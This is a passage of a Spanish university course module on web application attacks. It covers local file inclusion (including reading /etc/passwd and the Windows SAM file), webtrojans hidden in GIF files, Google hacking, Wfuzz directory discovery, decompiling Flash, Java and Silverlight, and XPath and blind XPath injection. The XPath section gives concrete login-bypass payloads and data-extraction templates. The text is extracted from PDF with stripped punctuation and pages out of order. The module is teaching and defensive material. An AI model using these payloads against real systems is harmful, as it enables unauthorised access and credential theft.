bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web
Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro
de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas
de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo
la documentacioacuten existente son de poca ayuda pues en los entornos maacutes
comunes como ADAM u OpenLDAP no funcionan
La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones
consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-
viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines
para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra
aplicacioacuten
23 XPath
XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-
cumentos XML por medio de expresiones especiacuteficas para su estructura
Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de
la organizacioacuten de nodos que poseen los ficheros XML
Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-
ble implementarlo en aplicaciones web de modo que pueden sustituir a los
SGBD (sistema gestor de base de datos) basados en SQL
231 XPath injection y Blind XPath Injection
XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los
paraacutemetros de buacutesqueda a la hora de formar una query XPath
Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-
tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML
Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL
Injection LDAP Injection) son fallos de seguridad causados por una mala
programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-
queda sin importar que la aplicacioacuten sea de escritorio o web
Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-
poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten
contra un aacuterbol XML con la siguiente estructura
ltxml version=10 encoding=UTF-8gt
ltusuariosgt
ltusuario login=admin password=t1oviv0 nivel=3 gt
ltusuario login=usuario password=miPasswordXml nivel=1 gt
ltusuario login=invitado password=invitado nivel=0 gt
CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web
ltusuariosgt
La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde
para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario
y un password con los que posteriormente formara una query de XPath con
la siguiente estructura
string xpath = usuariosusuario[login= + usuario + and password= + password + ]
En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-
tivo a no ser que el usuario y el password correspondan con los establecidos en
el documento XML pero si se trata de un entorno inseguro donde los campos
de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una
inyeccioacuten
Si un usuario introdujera en el campo password un valor como abclsquo or
lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder
a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado
positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y
posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-
da seriacutea el que nos muestra el siguiente ejemplo
Figura 40 Evaluacioacuten de los paraacutemetros en XPath
Como hemos visto con este tipo de inyecciones es posible hacer modificacio-
nes en la query para obtener el resultado deseado (truefalse) pero es posible ir
mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos
atributos y elementos
Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath
Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores
del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten
vulnerable
Retomando el caso praacutectico anterior supongamos que cuando realizamos login
en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten
devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso
de que la query XPath devuelva un resultado negativo (cuando se realiza una
inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo
password incorrectordquo
CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web
En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a
Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de
un motor XML y no SQL podemos utilizar funciones como count() la
cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener
al menos 1 nodo
bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob
bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1
Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que
estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL
(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal
modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML
bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo
bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo
Si con esta prueba obtenemos un resultado positivo no hay duda de que es un
sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML
iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo
El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea
sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos
que habriacutea que realizar seriacutean los siguientes
1) Extraer el nombre del nodo
2) Extraer los atributos del nodo
3) Comprobar si es un elemento3 En caso positivo obtener el valor
4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-
zando
5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo
Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de
caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length
[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]
Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya
que puede haber varios nodos con el mismo nombre dentro del mismo padre)
y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando
fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-
ble sacar la longitud del nombre de la siguiente manera
(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean
CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web
or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =
or childnode()[position()=1 and string-length(name())=8] or 1=1 and =
Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar
el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-
cioacutenrdquo e imaginacioacuten
or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()us)] and =
or childnode()[position()=1 and starts-with(name()usu)] and =
Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de
caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-
ma que seriacutea la longitud del nombre extraiacuteda inicialmente
Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-
mos pero variando la consulta XPath con las siguientes plantillas
1) Para extraer informacioacuten referente a los nodos
bull Longitud del nombre
[PATH]childnode()[position()=[NUMNODO] and
string-length(name())gt[NUMERO]]
bull Nombre del nodo
[PATH]childnode()[position()=[NUMNODO] and
starts-with(name()[VALORES])]
bull Nuacutemero de subnodos
count([PATH]childnode())gt[NUMERO]
2) Para extraer la informacioacuten de los atributos
bull Nuacutemero de atributos de un nodo
count([PATH]childnode()[[NUMNODO]])gt[NUMERO]
CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web
bull Longitud del nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT] and
string-length(name())gt[NUMERO]])gt0
bull Longitud del valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]
bull Nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and
starts-with(name()[VALORES])
bull Valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
starts-with([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]] [VALORES])
3) Para extraer el contenido de un nodo los elementos
bull Longitud del elemento
string-length([PATH]childtext())gt[NUMERO]
bull Valor del elemento
starts-with([PATH]childtext()[VALORES])
Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero
para ello ya existen herramientas que hacen este proceso de forma automaacuteti-
ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset
para encontrar los datos realizando un reducido nuacutemero de consultas
Implementar una reduccioacuten de charset es algo simple basta con hacer una
query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-
mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-
set Esto puede hacerse con la siguientes query
[contains(name() a)] or [contains(name() a)]
or attribute[contains(a)] or contains( a)
Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset
de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado
a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a
